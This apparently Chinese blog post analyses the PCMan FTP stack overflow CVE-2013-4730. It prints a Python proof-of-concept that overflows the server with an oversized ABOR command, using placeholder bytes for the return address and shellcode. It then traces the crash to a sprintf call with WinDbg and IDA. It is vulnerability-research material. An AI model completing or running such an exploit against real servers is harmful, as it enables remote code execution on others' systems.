java栈溢出漏洞cve,PCMan FTP栈溢出漏洞(CVE-2013-4730)

CVE-2013-4730是一个基于FTP软件的栈缓冲区溢出漏洞, 允许远程用户构造USER命令超长字符来实现任意代码执行

根据提供的POC代码使用idapro和windbg进行分析,首先查看poc.py代码

import socket as s

from sys import argv

#

if(len(argv) != 4):

print "USAGE: %s host [user] [password] % argv[0]"

exit(1)

else:

#store command line arguments

script,host,fuser,fpass=argv

#vars

junk = '\x41' * 2011 #overwrite function (ABOR) with garbage/junk chars

espaddress = '\x41\x41\x41\x41' # 76BB0659

nops = '\x41' * 10

shellcode = '\x41' *150

sploit = junk+espaddress+nops+shellcode

#create socket

conn = s.socket(s.AF_INET,s.SOCK_STREAM)

#establish connection to server

conn.connect((host,21))

#post ftp user

conn.send('USER '+fuser+'\r\n')

#wait for response

uf = conn.recv(1024)

#post ftp password

conn.send('PASS '+fpass+'\r\n')

#wait for response

pf = conn.recv(1024)

#send ftp command with sploit

conn.send('ABOR '+sploit+'\r\n')

cf = conn.recv(1024)

#close connection

conn.close()

首先开启PCMan FTP,然后执行poc代码

poc.py 127.0.0.1 anonymous anonymous

触发了缓冲区溢出漏洞

2125d6565ed341835f22a79c4f90e762.png

使用windbg attach ftp程序,按g运行程序,然后命令行执行poc,可以看到windbg在地址0x41414141中断

16664e2b3f024de2e2fb128221a12702.png

Kb查看栈空间内容,已经变为全0x41

213d309a5f511533a62f9c865aeca942.png

Idapro载入ftp程序,imports中找到recv函数,找到两处调用

sub_4029B0+25  sub_4055E0+5E

1699a38a4dce7bf3673a42f1234340af.png

Windbg重新载入ftp程序,在这两处位置下断点

c98bd8de46b0b49cbc5d6d4b58ad424b.png

G运行,然后命令行执行poc,程序中断在第一个断点

428897b7b105fc8a9fcf62b506b4f23d.png

程序没有报错,继续g执行,程序崩溃,在第二次执行时断在0x4029d5

ade61eee52a3029d328137f39eb04ce5.png

重新载入ftp,设置断点在0x4029d5,执行到第二次时,查看esp内容

第二个参数0x12edc4表示缓冲区起始地址

e61800fdd9d9b5e0475c0695739bf10a.png

查看缓冲区内容,是输入的user/pass

d9bf6c74822526786227ddf0e7aaf606.png

按下p歩过call函数

0c34300ad1fedf34e23e1078f78cbc43.png

查看此时缓冲区内容变为ABOR AAA…AAA

4b37e5e2d7a9749367cfaadd42f87542.png

F10单步执行,程序崩溃的前一条指令地址在0x402a26

9e64c7f379e3a0240d71b6f8214a4e1f.png

也就是call sub_403E60这个函数会触发漏洞

94e412fcc5d4f4d297d7622ae8c8fa90.png

此函数中有个一sprintf()

4f7e83829f311f0389ac40a8e1a623ac.png

分析此函数,首先或GetLocalTime获取系统时间

cd7593d9baf2faa83b733c8e998328c0.png

以某个时间格式进行sprintf输出,以及其他内容,一共push了10个参数

e4225041522a5677a8b82ea5dcb12321.png

在0x4029d5处下断点,g运行并启动poc后,第二次断下时

在0x403EE6处下断点,g执行

deed44fa12e794da66bf5fecffb4fe78.png

F10歩过执行call命令后

67daa0fc4353d2a08a3d75fa2b9e1caf.png

查看此时栈内容,首先是%d格式的时间信息,然后是复制过来的ABOR AAA..AAA

80ac693d152406b19fa21bd34c3c0785.png

在返回地址0x403FB9处设置断点

6ced47c2cdfca5495ecee1b5c74dd25f.png

g执行到断点

ae335b377b9a60230732e818d98cee94.png

此时esp-4内容全部为0x41

77fe2f186d28655e37e66dcaf3fb3402.png

所以继续执行到地址0x41414141会出错

5359ba206d81be3a8a68d40e2511754d.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值